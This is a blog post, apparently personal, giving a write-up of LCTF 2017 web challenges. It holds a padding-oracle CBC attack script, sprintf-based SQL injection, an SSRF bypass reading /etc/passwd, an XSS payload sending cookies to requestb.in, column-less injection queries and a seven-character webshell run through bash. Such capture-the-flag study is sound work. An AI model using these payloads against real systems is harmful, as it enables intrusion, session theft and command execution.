HeartSky's blog


在渗透之路上渐行渐远


LCTF 2017 Web writeup

这次趁着周末有些时间,做了西电师傅们的 LCTF,整场下来感觉质量可以,没有太大的脑洞。

Simple blog

A simple blog .To discover the secret of it.
http://111.231.111.54/

打开后是一个简洁的博客系统,主页面没有什么功能,扫一下发现有 .login.php.swp 和 .admin.php.swp

login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
<?php
error_reporting(0);
session_start();
define("METHOD", "aes-128-cbc");
include('config.php');

function show_page(){
echo '<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Login Form</title>
<link rel="stylesheet" type="text/css" href="css/login.css" />
</head>
<body>
<div class="login">
<h1>后台登录</h1>
<form method="post">
<input type="text" name="username" placeholder="Username" required="required" />
<input type="password" name="password" placeholder="Password" required="required" />
<button type="submit" class="btn btn-primary btn-block btn-large">Login</button>
</form>
</div>
</body>
</html>
';
}

function get_random_token(){
$random_token = '';
$str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
for($i = 0; $i < 16; $i++){
$random_token .= substr($str, rand(1, 61), 1);
}
return $random_token;
}

function get_identity(){
global $id;
$token = get_random_token();
$c = openssl_encrypt($id, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
$_SESSION['id'] = base64_encode($c);
setcookie("token", base64_encode($token));
if($id === 'admin'){
$_SESSION['isadmin'] = 1;
}else{
$_SESSION['isadmin'] = 0;
}
}

function test_identity(){
if (isset($_SESSION['id'])) {
$c = base64_decode($_SESSION['id']);
$token = base64_decode($_COOKIE["token"]);
if($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)){
if ($u === 'admin') {
$_SESSION['isadmin'] = 1;
return 1;
}
}else{
die("Error!");
}
}
return 0;
}

if(isset($_POST['username'])&&isset($_POST['password'])){
$username = mysql_real_escape_string($_POST['username']);
$password = $_POST['password'];
$result = mysql_query("select password from users where username='" . $username . "'", $con);
$row = mysql_fetch_array($result);
if($row['password'] === md5($password)){
get_identity();
header('location: ./admin.php');
}else{
die('Login failed.');
}
}else{
if(test_identity()){
header('location: ./admin.php');
}else{
show_page();
}
}
?>

admin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
error_reporting(0);
session_start();
include('config.php');

if(!$_SESSION['isadmin']){
die('You are not admin');
}

if(isset($_GET['id'])){
$id = mysql_real_escape_string($_GET['id']);
if(isset($_GET['title'])){
$title = mysql_real_escape_string($_GET['title']);
$title = sprintf("AND title='%s'", $title);
}else{
$title = '';
}
$sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);
$result = mysql_query($sql,$con);
$row = mysql_fetch_array($result);
if(isset($row['title'])&&isset($row['content'])){
echo "<h1>".$row['title']."</h1><br>".$row['content'];
die();
}else{
die("This article does not exist.");
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>adminpage</title>
<link href="css/bootstrap.min.css" rel="stylesheet">
<script src="js/jquery.min.js"></script>
<script src="js/bootstrap.min.js"></script>
</head>
<body>
<nav class="navbar navbar-default" role="navigation">
<div class="navbar-header">
<a class="navbar-brand" href="#">后台</a>
</div>
<div>
<ul class="nav navbar-nav">
<li class="active"><a href="#">编辑文章</a></li>
<li><a href="#">设置</a></li>
</ul>
</div></nav>
<div class="panel panel-success">
<div class="panel-heading">
<h1 class="panel-title">文章列表</h1>
</div>
<div class="panel-body">
<li><a href='?id=1'>Welcome to myblog</a><br></li>
<li><a href='?id=2'>Hello,world!</a><br></li>
<li><a href='?id=3'>This is admin page</a><br></li>
</div>
</div>
</body>
</html>

之前碰到过很多次 cbc 相关的的攻击了,先 padding oracle attack 得到中间值,再字节反转得到自己想要的值,比如这里是 admin,原理不再叙说,有兴趣的看下这两篇文章,分析的都不错
我对Padding Oracle攻击的分析和思考(详细)
Padding Oracle Attack实例分析

因为这里我构造的是一个分组长度的密文,所以第一个字节直接登录爆破(登录成功即构造想要的明文成功)
ps: 第一个字节的值也可以通过构造两个分组长度的密文,第二个分组全是 0x10 的形式,利用和得到其他字节一样的 padding error 来得到

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# encoding=utf-8
import requests

url = 'http://111.231.111.54/login.php'
iv = list('0000000000000000')
mid = ['0'] * 16

# 得到第一个分组密文的中间值
def getMiddleValue():
for i in range(1, 17):
iv_fix = ''
for j in range(i-1)[::-1]:
iv_fix += chr(ord(mid[16-j-1]) ^ i)
for j in range(256):
iv = '0' * (16-i) + chr(j) + iv_fix
cookies = dict(PHPSESSID='5vr0tum53p0kfpth39dqirh900', token=iv.encode("base64").replace('=', '%3D').replace('\n', ''))
r = requests.get(url, cookies=cookies)
if 'Error!' not in r.text:
print iv
mid[16-i] = chr(i ^ j)
print ''.join(mid).encode('hex')
break
# 303373782b0e140603135c1407091b66 (hex middle value)

# 登录爆破第一个字节
def login():
mid = list('303373782b0e140603135c1407091b66'.decode('hex'))
iv = ['0'] * 16
for i in range(5, 16):
iv[i] = chr(0x0b ^ ord(mid[i]))
for i in range(1, 5):
iv[i] = chr(ord('dmin'[i-1]) ^ ord(mid[i]))

for i in range(256):
iv[0] = chr(i)
cookies = dict(PHPSESSID='5vr0tum53p0kfpth39dqirh900', token=''.join(iv).encode("base64").replace('=', '%3D').replace('\n', ''))
r = requests.get(url, cookies=cookies, allow_redirects=False)
if r.status_code != 200:
print cookies
break

if __name__ == '__main__':
login()

ps2: PHPSESSID 值是 admin 账户弱口令 admin 登录拿到的,否则就会导致无法进入 get_identity 函数,变量 $_SESSION['id'] 值为空,进入不了解密部分,也就无法实现 cbc 攻击

利用得到的 token 进入 admin.php,看下源码,很明显是 php sprintf 的格式化字符串漏洞,随便找一篇文章分析下
从WordPress SQLi谈PHP格式化字符串问题(2017.11.01更新)

php 的 sprintf 有下面这种写法

% 后面的数字表示第几个参数,$ 后面的字符表示数据的类型,我们看下 php 源码中对于 $ 后面数据类型的处理

如果匹配不到上面的类型,默认是 break,不做任何处理,所以如果构造 %1$',单引号经过转义后成为 %1$\',然后再经过 sprintf 时 \ 被当做数据类型符,因为它不在已知的类型符里,所以跳到了 default,不作任何处理,单引号成功逃逸。

也可以采用 %' 的形式绕过,因为转义后是 %\',而 %\ 是一个不存在的类型,但是 php 不会报错,而是输出为空,不过这样容易遇到 Warning: sprintf(): Too few arguments 的报错,因为虽然这样写进去了但是后面缺少参数,而上面提到的方式直接输出为空了。

本地试一下,源码

1
2
3
4
5
6
7
8
9
10
11
<?php
$id = addslashes($_GET['id']);
if(isset($_GET['title'])){
$title = addslashes($_GET['title']);
$title = sprintf("AND title='%s'", $title);
}else{
$title = '';
}
$sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);
echo $sql;
?>

问题在于 title 参数在转义后输出到了 sprintf 第一个参数 string $format 中,如果有 % 就会被当做格式,从而导致了上面的问题。

输入 id=1&title=%1$' or 1=1%23$title 的值是 AND title='%1$\' or 1=1#',没有什么问题,之后再次进入 sprintf,第一个参数的值是 SELECT * FROM article WHERE id='%s' AND title='%1$\' or 1=1#',其中 %1$\ 就会发生上面所分析的问题,最终输出 SELECT * FROM article WHERE id='1' AND title='' or 1=1#'

然后就可以愉快的注入出 flag 了
ps3: 比较坑的是 flag 所在的表名是 key,因为 key 在 mysql 中是关键字,所以不能直接 select f14g from key,可以 select f14g from 数据库名.key 或者 select f14g from `key`

签到题

出题人题目名字随便起系列…

可以提交 url,然后会返回请求到的内容,尝试了很多次发现只能请求 www.baidu.com,然后马上就想到了 orange 之前演讲的 ppt

A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages!

是 curl(URL请求器) 和 parse_url(URL解析器) 函数的不同导致的,猜测判断 host 是用的 parse_url 函数

提交

1
site=http://[email protected] @www.baidu.com:80/

返回

成功绕过了判断,实现了任意请求网站,这里细心点可以发现请求的是 http://[email protected] @www.baidu.com:80//,所以可以在后面加上 ?%23 来绕过这个

用 file 协议读取本地文件:

1
2
3
4
site=file://[email protected]27.0.0.1 @www.baidu.com:80/etc/passwd?

......
lctf:x:1000:1000::/home/lctf:/bin/sh

稍微猜下,读取 flag

1
2
3
site=file://[email protected] @www.baidu.com:80/home/lctf/flag?

<h1>Source Code:</h1>file://[email protected] @www.baidu.com:80/home/lctf/flag?/<hr />LCTF{1eTus_q14ndao_B4_387t439hg9342}

当时其实还是不懂为什么在后面加了才能读到,后来试了下

1
site=file://www.baidu.com/home/lctf/flag?

这样就可以读到,应该是 file 协议的一种特性,因为 www.baidu.com 是不存在的目录,所以还是在根目录下(大概

wanna hack him?

有 preview.php 和 submit.php
preview.php 可以看到自己的 payload 的效果
submit.php 是发送给管理员
可以看到有 csp

1
<meta http-equiv="Content-Security-Policy" content="script-src 'nonce-909593a1d3183240d3be316e15628657';">

提交的内容显示在这里

1
2
3
<body data-feedly-mini="yes">aaa<p>comment here</p>
<script nonce="909593a1d3183240d3be316e15628657">var test='test';</script>
<p>welcome to comment on admin's blog</p>

所以如果我们提交 <iframe src='http://xxx.xx?
效果如下

1
2
3
<iframe src="http://xxx.xx?&lt;p&gt;comment here&lt;/p&gt;&#10;&lt;script nonce=&quot;909593a1d3183240d3be316e15628657&quot;&gt;var test=" test';<="" script="">
&lt;p&gt;welcome to comment on admin's blog&lt;/p&gt;
&lt;/html&gt;</iframe>

可以看到 nonce 值已经被包含在了 src 里,所以这里可以获取到 nonce 值,然后再提交就可以了,可以把 nonce 值输出到一个文件里,再写个脚本一旦检测到新的 nonce 值就提交,还有一种方式是利用 iframe来写入一个自动提交表单,让 bot 自己请求自己的 preview.php 页面

在看到官方 wp 后,发现题目的 nonce 值是通过 session 值生成的,所以我们可以把 PHPSESSID 和 nonce 值都替换为我们的(当时想着是重写 CSP,发现并不能覆盖设置

Meta http-equiv 属性为 Set-Cookie 时可以设置 cookie,这样就可以覆盖之前的 cookie

提交如下

1
2
<meta http-equiv="Set-Cookie" content="PHPSESSID=naao04610f8lfg7mj4qfg6s7p4; path=/">
<script nonce="909593a1d3183240d3be316e15628657">(new Image()).src='https://requestb.in/rooalgro?cookie='+escape(document.cookie)</script>

get flag

“他们”有什么秘密呢?

过滤了 database tables users columns schema information 的数字型 sql 注入

因为对其他的都没限制,所以思路就是通过显注查询得到表名、列名,最后查出数据,但是过滤了表名和列名的查询关键字

库名

可以通过查询不存在的表名来获得数据库名

1
2
3
pro_id=1 union select 1 from a

Table 'youcanneverfindme17.a' doesn't exist

数据库名 youcanneverfindme17

表名

表名列名查了好久的资料都没找到,后来看了别人的 payload,自己真是太菜了

mysql注入可报错时爆表名、字段名、库名

(waf 都是一样的…

看下官方文档会发现,不只文中提到的 Polygon 函数,所有创建几何值(Create Geometry Values)的函数,其接收的参数都是 Point、LineString、Polygon 等不同于数字、字符串的数据类型,如果我们传递是非要求的数据类型就会报错(确切的说 MySQL 把它当做了列名,然后从表中取出相应列的数据),更进一步如果是已存在的字段的话就会报出库名、表名、列名

1
2
3
4
mysql> select MultiPoint(a) from users;
ERROR 1054 (42S22): Unknown column 'a' in 'field list'
mysql> select MultiPoint(id) from users;
ERROR 1367 (22007): Illegal non geometric '`test`.`users`.`id`' value found during parsing

ps: 比较独特的是 Point 函数不可以,因为它接收两个数字类型的参数,所以表中的字符串型数据就被强制转换为了数字,仍然正常运行

1
2
3
4
5
6
7
8
9
mysql> select Point(user,a) from users;
ERROR 1054 (42S22): Unknown column 'a' in 'field list'
mysql> select Point(user,pass) from users;
+---------------------------+
| Point(user,pass) |
+---------------------------+
| |
| |
+---------------------------+

select Point(0,0) from users 的结果是一样的

列名

在可以用 union 但不知道列名的情况下是可以直接取出数据的,但是提示说也要找到列名

1
<!-- Tip:将表的某一个字段名,和表中某一个表值进行字符串连接,就可以得到下一个入口喽~ →

可以这样

1
2
3
pro_id=1 and (select * from (select * from product_2017ctf as a join product_2017ctf as b) as c)

Duplicate column name 'pro_id'

原理是在使用别名的时候不能出现相同的字段名,而在这里我们用 join 把表扩成了两份

比如

1
2
3
4
5
6
7
8
9
10
mysql> select * from test as a join test as b
-> ;
+------+------+------+------+
| user | pass | user | pass |
+------+------+------+------+
| 1 | 2 | 1 | 2 |
| test | 233 | 1 | 2 |
| 1 | 2 | test | 233 |
| test | 233 | test | 233 |
+------+------+------+------+

所以把这个表赋予别名查询的时候报错,然后用 using 来继续得到剩下的字段

1
2
3
pro_id=1 and (select * from (select * from product_2017ctf as a join product_2017ctf as b using(pro_id)) as c)

Duplicate column name 'pro_name'

所有字段

1
pro_id pro_name owner d067a0fa9dc61a6e

取出数据

拦截了 d067a0fa9dc61a6e,这时就要用到一种在不知道列名的情况下取出数据的方法

先给出 payload

1
2
3
pro_id=0 union select 1,(select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from product_2017ctf)e limit 3,1),3,4

product name:7195ca99696b5a896.php

重点是这句

1
select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from product_2017ctf

本地试下就知道了

1
2
3
4
5
6
7
8
mysql> select * from (select 1)a,(select 2)b,(select 3)c union select * from users;
+---+-------+-------+
| 1 | 2 | 3 |
+---+-------+-------+
| 1 | 2 | 3 |
| 1 | test | test |
| 2 | test2 | test2 |
+---+-------+-------+

可以看到在原有表的基础上新增了一行数据,而且列名成了 1 2 3,所以接下来只要把它作为一个新表并赋予一个别名给它,select e.4 即查询第四列,然后用 limit 控制下第几行就可以取出所有数据了

得到下一关地址 d067a0fa9dc61a6e7195ca99696b5a896.php

是一个上传文件的站点,测试下得到基本信息

1
2
3
4
文件名可控
目录名根据ip变化
只能写入七个字符
覆盖写

根据七个字符的关键词很容易就能找到下面这个 WebShell

1
<?=`*`;

相当于在 Linux 的终端上执行 *
这时就有一个骚操作了
新建一个空的名为 bash 的文件和一个名为 bash2 的内容为 whoami 的文件,执行 *

命令执行过程为 bash bash2,即执行 bash2 脚本里的内容
ps: 需要注意的是 * 按照首字母排序,所以写入 WebShell 的文件首字母要在 b 之后(bash 命令对于多个文件名参数,后面的文件会忽略掉)

写入以下文件,成功命令执行

1
2
3
filename=z.php&content=<?=`*`;
filename=bash&content=[任意内容]
filename=bash2&content=ls /*

发现根目录下存在 /327a6c4304ad5938eaf0efb6cc3e53dc.php,读取它的内容

1
2
3
4
5
6
filename=bash2&content=cat /3*


<?php
$flag = "LCTF{n1ver_stop_nev2r_giveup}";
?>

虽然是已知知识的结合,但感觉很不错,学到了很多骚操作,另外也提醒自己要关注最新的技术 = =